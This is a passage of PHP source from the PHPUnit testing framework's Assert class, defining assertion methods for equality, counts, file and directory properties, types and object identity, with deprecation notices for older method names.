Count($expectedCount), $message ); } /** * Asserts the number of elements of an array, Countable or Traversable. * * @param Countable|iterable $haystack * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertNotCount(int $expectedCount, $haystack, string $message = ''): void { if (!$haystack instanceof Countable && !is_iterable($haystack)) { throw InvalidArgumentException::create(2, 'countable or iterable'); } $constraint = new LogicalNot( new Count($expectedCount) ); static::assertThat($haystack, $constraint, $message); } /** * Asserts that two variables are equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertEquals($expected, $actual, string $message = ''): void { $constraint = new IsEqual($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertEqualsCanonicalizing($expected, $actual, string $message = ''): void { $constraint = new IsEqualCanonicalizing($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertEqualsIgnoringCase($expected, $actual, string $message = ''): void { $constraint = new IsEqualIgnoringCase($expected); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are equal (with delta). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void { $constraint = new IsEqualWithDelta( $expected, $delta ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotEquals($expected, $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqual($expected) ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotEqualsCanonicalizing($expected, $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqualCanonicalizing($expected) ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotEqualsIgnoringCase($expected, $actual, string $message = ''): void { $constraint = new LogicalNot( new IsEqualIgnoringCase($expected) ); static::assertThat($actual, $constraint, $message); } /** * Asserts that two variables are not equal (with delta). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotEqualsWithDelta($expected, $actual, float $delta, string $message = ''): void { $constraint = new LogicalNot( new IsEqualWithDelta( $expected, $delta ) ); static::assertThat($actual, $constraint, $message); } /** * @throws ExpectationFailedException */ public static function assertObjectEquals(object $expected, object $actual, string $method = 'equals', string $message = ''): void { static::assertThat( $actual, static::objectEquals($expected, $method), $message ); } /** * Asserts that a variable is empty. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert empty $actual */ public static function assertEmpty($actual, string $message = ''): void { static::assertThat($actual, static::isEmpty(), $message); } /** * Asserts that a variable is not empty. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !empty $actual */ public static function assertNotEmpty($actual, string $message = ''): void { static::assertThat($actual, static::logicalNot(static::isEmpty()), $message); } /** * Asserts that a value is greater than another value. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertGreaterThan($expected, $actual, string $message = ''): void { static::assertThat($actual, static::greaterThan($expected), $message); } /** * Asserts that a value is greater than or equal to another value. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertGreaterThanOrEqual($expected, $actual, string $message = ''): void { static::assertThat( $actual, static::greaterThanOrEqual($expected), $message ); } /** * Asserts that a value is smaller than another value. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertLessThan($expected, $actual, string $message = ''): void { static::assertThat($actual, static::lessThan($expected), $message); } /** * Asserts that a value is smaller than or equal to another value. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertLessThanOrEqual($expected, $actual, string $message = ''): void { static::assertThat($actual, static::lessThanOrEqual($expected), $message); } /** * Asserts that the contents of one file is equal to the contents of another * file. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileEquals(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqual(file_get_contents($expected)); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is equal to the contents of another * file (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqualCanonicalizing( file_get_contents($expected) ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is equal to the contents of another * file (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new IsEqualIgnoringCase(file_get_contents($expected)); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of * another file. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileNotEquals(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqual(file_get_contents($expected)) ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of another * file (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileNotEqualsCanonicalizing(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqualCanonicalizing(file_get_contents($expected)) ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of one file is not equal to the contents of another * file (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileNotEqualsIgnoringCase(string $expected, string $actual, string $message = ''): void { static::assertFileExists($expected, $message); static::assertFileExists($actual, $message); $constraint = new LogicalNot( new IsEqualIgnoringCase(file_get_contents($expected)) ); static::assertThat(file_get_contents($actual), $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqual(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqualCanonicalizing(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is equal * to the contents of a file (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new IsEqualIgnoringCase(file_get_contents($expectedFile)); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotEqualsFile(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqual(file_get_contents($expectedFile)) ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file (canonicalizing). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotEqualsFileCanonicalizing(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqualCanonicalizing(file_get_contents($expectedFile)) ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that the contents of a string is not equal * to the contents of a file (ignoring case). * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertStringNotEqualsFileIgnoringCase(string $expectedFile, string $actualString, string $message = ''): void { static::assertFileExists($expectedFile, $message); $constraint = new LogicalNot( new IsEqualIgnoringCase(file_get_contents($expectedFile)) ); static::assertThat($actualString, $constraint, $message); } /** * Asserts that a file/dir is readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertIsReadable(string $filename, string $message = ''): void { static::assertThat($filename, new IsReadable, $message); } /** * Asserts that a file/dir exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertIsNotReadable(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new IsReadable), $message); } /** * Asserts that a file/dir exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4062 */ public static function assertNotIsReadable(string $filename, string $message = ''): void { self::createWarning('assertNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertIsNotReadable() instead.'); static::assertThat($filename, new LogicalNot(new IsReadable), $message); } /** * Asserts that a file/dir exists and is writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertIsWritable(string $filename, string $message = ''): void { static::assertThat($filename, new IsWritable, $message); } /** * Asserts that a file/dir exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertIsNotWritable(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new IsWritable), $message); } /** * Asserts that a file/dir exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4065 */ public static function assertNotIsWritable(string $filename, string $message = ''): void { self::createWarning('assertNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertIsNotWritable() instead.'); static::assertThat($filename, new LogicalNot(new IsWritable), $message); } /** * Asserts that a directory exists. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryExists(string $directory, string $message = ''): void { static::assertThat($directory, new DirectoryExists, $message); } /** * Asserts that a directory does not exist. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryDoesNotExist(string $directory, string $message = ''): void { static::assertThat($directory, new LogicalNot(new DirectoryExists), $message); } /** * Asserts that a directory does not exist. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4068 */ public static function assertDirectoryNotExists(string $directory, string $message = ''): void { self::createWarning('assertDirectoryNotExists() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryDoesNotExist() instead.'); static::assertThat($directory, new LogicalNot(new DirectoryExists), $message); } /** * Asserts that a directory exists and is readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryIsReadable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsReadable($directory, $message); } /** * Asserts that a directory exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryIsNotReadable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsNotReadable($directory, $message); } /** * Asserts that a directory exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4071 */ public static function assertDirectoryNotIsReadable(string $directory, string $message = ''): void { self::createWarning('assertDirectoryNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryIsNotReadable() instead.'); self::assertDirectoryExists($directory, $message); self::assertIsNotReadable($directory, $message); } /** * Asserts that a directory exists and is writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryIsWritable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsWritable($directory, $message); } /** * Asserts that a directory exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertDirectoryIsNotWritable(string $directory, string $message = ''): void { self::assertDirectoryExists($directory, $message); self::assertIsNotWritable($directory, $message); } /** * Asserts that a directory exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4074 */ public static function assertDirectoryNotIsWritable(string $directory, string $message = ''): void { self::createWarning('assertDirectoryNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDirectoryIsNotWritable() instead.'); self::assertDirectoryExists($directory, $message); self::assertIsNotWritable($directory, $message); } /** * Asserts that a file exists. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileExists(string $filename, string $message = ''): void { static::assertThat($filename, new FileExists, $message); } /** * Asserts that a file does not exist. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileDoesNotExist(string $filename, string $message = ''): void { static::assertThat($filename, new LogicalNot(new FileExists), $message); } /** * Asserts that a file does not exist. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4077 */ public static function assertFileNotExists(string $filename, string $message = ''): void { self::createWarning('assertFileNotExists() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileDoesNotExist() instead.'); static::assertThat($filename, new LogicalNot(new FileExists), $message); } /** * Asserts that a file exists and is readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileIsReadable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsReadable($file, $message); } /** * Asserts that a file exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileIsNotReadable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsNotReadable($file, $message); } /** * Asserts that a file exists and is not readable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4080 */ public static function assertFileNotIsReadable(string $file, string $message = ''): void { self::createWarning('assertFileNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileIsNotReadable() instead.'); self::assertFileExists($file, $message); self::assertIsNotReadable($file, $message); } /** * Asserts that a file exists and is writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileIsWritable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsWritable($file, $message); } /** * Asserts that a file exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFileIsNotWritable(string $file, string $message = ''): void { self::assertFileExists($file, $message); self::assertIsNotWritable($file, $message); } /** * Asserts that a file exists and is not writable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @codeCoverageIgnore * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4083 */ public static function assertFileNotIsWritable(string $file, string $message = ''): void { self::createWarning('assertFileNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileIsNotWritable() instead.'); self::assertFileExists($file, $message); self::assertIsNotWritable($file, $message); } /** * Asserts that a condition is true. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert true $condition */ public static function assertTrue($condition, string $message = ''): void { static::assertThat($condition, static::isTrue(), $message); } /** * Asserts that a condition is not true. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !true $condition */ public static function assertNotTrue($condition, string $message = ''): void { static::assertThat($condition, static::logicalNot(static::isTrue()), $message); } /** * Asserts that a condition is false. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert false $condition */ public static function assertFalse($condition, string $message = ''): void { static::assertThat($condition, static::isFalse(), $message); } /** * Asserts that a condition is not false. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !false $condition */ public static function assertNotFalse($condition, string $message = ''): void { static::assertThat($condition, static::logicalNot(static::isFalse()), $message); } /** * Asserts that a variable is null. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert null $actual */ public static function assertNull($actual, string $message = ''): void { static::assertThat($actual, static::isNull(), $message); } /** * Asserts that a variable is not null. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !null $actual */ public static function assertNotNull($actual, string $message = ''): void { static::assertThat($actual, static::logicalNot(static::isNull()), $message); } /** * Asserts that a variable is finite. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertFinite($actual, string $message = ''): void { static::assertThat($actual, static::isFinite(), $message); } /** * Asserts that a variable is infinite. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertInfinite($actual, string $message = ''): void { static::assertThat($actual, static::isInfinite(), $message); } /** * Asserts that a variable is nan. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNan($actual, string $message = ''): void { static::assertThat($actual, static::isNan(), $message); } /** * Asserts that a class has a specified attribute. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertClassHasAttribute(string $attributeName, string $className, string $message = ''): void { if (!self::isValidClassAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!class_exists($className)) { throw InvalidArgumentException::create(2, 'class name'); } static::assertThat($className, new ClassHasAttribute($attributeName), $message); } /** * Asserts that a class does not have a specified attribute. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertClassNotHasAttribute(string $attributeName, string $className, string $message = ''): void { if (!self::isValidClassAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!class_exists($className)) { throw InvalidArgumentException::create(2, 'class name'); } static::assertThat( $className, new LogicalNot( new ClassHasAttribute($attributeName) ), $message ); } /** * Asserts that a class has a specified static attribute. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertClassHasStaticAttribute(string $attributeName, string $className, string $message = ''): void { if (!self::isValidClassAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!class_exists($className)) { throw InvalidArgumentException::create(2, 'class name'); } static::assertThat( $className, new ClassHasStaticAttribute($attributeName), $message ); } /** * Asserts that a class does not have a specified static attribute. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertClassNotHasStaticAttribute(string $attributeName, string $className, string $message = ''): void { if (!self::isValidClassAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!class_exists($className)) { throw InvalidArgumentException::create(2, 'class name'); } static::assertThat( $className, new LogicalNot( new ClassHasStaticAttribute($attributeName) ), $message ); } /** * Asserts that an object has a specified attribute. * * @param object $object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertObjectHasAttribute(string $attributeName, $object, string $message = ''): void { if (!self::isValidObjectAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!is_object($object)) { throw InvalidArgumentException::create(2, 'object'); } static::assertThat( $object, new ObjectHasAttribute($attributeName), $message ); } /** * Asserts that an object does not have a specified attribute. * * @param object $object * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException */ public static function assertObjectNotHasAttribute(string $attributeName, $object, string $message = ''): void { if (!self::isValidObjectAttributeName($attributeName)) { throw InvalidArgumentException::create(1, 'valid attribute name'); } if (!is_object($object)) { throw InvalidArgumentException::create(2, 'object'); } static::assertThat( $object, new LogicalNot( new ObjectHasAttribute($attributeName) ), $message ); } /** * Asserts that two variables have the same type and value. * Used on objects, it asserts that two variables reference * the same object. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-template ExpectedType * @psalm-param ExpectedType $expected * @psalm-assert =ExpectedType $actual */ public static function assertSame($expected, $actual, string $message = ''): void { static::assertThat( $actual, new IsIdentical($expected), $message ); } /** * Asserts that two variables do not have the same type and value. * Used on objects, it asserts that two variables do not reference * the same object. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException */ public static function assertNotSame($expected, $actual, string $message = ''): void { if (is_bool($expected) && is_bool($actual)) { static::assertNotEquals($expected, $actual, $message); } static::assertThat( $actual, new LogicalNot( new IsIdentical($expected) ), $message ); } /** * Asserts that a variable is of a given type. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException * * @psalm-template ExpectedType of object * @psalm-param class-string $expected * @psalm-assert =ExpectedType $actual */ public static function assertInstanceOf(string $expected, $actual, string $message = ''): void { if (!class_exists($expected) && !interface_exists($expected)) { throw InvalidArgumentException::create(1, 'class or interface name'); } static::assertThat( $actual, new IsInstanceOf($expected), $message ); } /** * Asserts that a variable is not of a given type. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws Exception * @throws ExpectationFailedException * * @psalm-template ExpectedType of object * @psalm-param class-string $expected * @psalm-assert !ExpectedType $actual */ public static function assertNotInstanceOf(string $expected, $actual, string $message = ''): void { if (!class_exists($expected) && !interface_exists($expected)) { throw InvalidArgumentException::create(1, 'class or interface name'); } static::assertThat( $actual, new LogicalNot( new IsInstanceOf($expected) ), $message ); } /** * Asserts that a variable is of type array. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert array $actual */ public static function assertIsArray($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_ARRAY), $message ); } /** * Asserts that a variable is of type bool. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert bool $actual */ public static function assertIsBool($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_BOOL), $message ); } /** * Asserts that a variable is of type float. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert float $actual */ public static function assertIsFloat($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_FLOAT), $message ); } /** * Asserts that a variable is of type int. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert int $actual */ public static function assertIsInt($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_INT), $message ); } /** * Asserts that a variable is of type numeric. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert numeric $actual */ public static function assertIsNumeric($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_NUMERIC), $message ); } /** * Asserts that a variable is of type object. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert object $actual */ public static function assertIsObject($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_OBJECT), $message ); } /** * Asserts that a variable is of type resource. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert resource $actual */ public static function assertIsResource($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_RESOURCE), $message ); } /** * Asserts that a variable is of type resource and is closed. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert resource $actual */ public static function assertIsClosedResource($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_CLOSED_RESOURCE), $message ); } /** * Asserts that a variable is of type string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert string $actual */ public static function assertIsString($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_STRING), $message ); } /** * Asserts that a variable is of type scalar. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert scalar $actual */ public static function assertIsScalar($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_SCALAR), $message ); } /** * Asserts that a variable is of type callable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert callable $actual */ public static function assertIsCallable($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_CALLABLE), $message ); } /** * Asserts that a variable is of type iterable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert iterable $actual */ public static function assertIsIterable($actual, string $message = ''): void { static::assertThat( $actual, new IsType(IsType::TYPE_ITERABLE), $message ); } /** * Asserts that a variable is not of type array. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !array $actual */ public static function assertIsNotArray($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_ARRAY)), $message ); } /** * Asserts that a variable is not of type bool. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !bool $actual */ public static function assertIsNotBool($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_BOOL)), $message ); } /** * Asserts that a variable is not of type float. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !float $actual */ public static function assertIsNotFloat($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_FLOAT)), $message ); } /** * Asserts that a variable is not of type int. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !int $actual */ public static function assertIsNotInt($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_INT)), $message ); } /** * Asserts that a variable is not of type numeric. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !numeric $actual */ public static function assertIsNotNumeric($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_NUMERIC)), $message ); } /** * Asserts that a variable is not of type object. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !object $actual */ public static function assertIsNotObject($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_OBJECT)), $message ); } /** * Asserts that a variable is not of type resource. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !resource $actual */ public static function assertIsNotResource($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_RESOURCE)), $message ); } /** * Asserts that a variable is not of type resource. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !resource $actual */ public static function assertIsNotClosedResource($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_CLOSED_RESOURCE)), $message ); } /** * Asserts that a variable is not of type string. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !string $actual */ public static function assertIsNotString($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_STRING)), $message ); } /** * Asserts that a variable is not of type scalar. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !scalar $actual */ public static function assertIsNotScalar($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_SCALAR)), $message ); } /** * Asserts that a variable is not of type callable. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException * @throws ExpectationFailedException * * @psalm-assert !callable $actual */ public static function assertIsNotCallable($actual, string $message = ''): void { static::assertThat( $actual, new LogicalNot(new IsType(IsType::TYPE_CALLABLE)), $message ); } /** * Asserts that a variable is not of type iterable. * * @throws 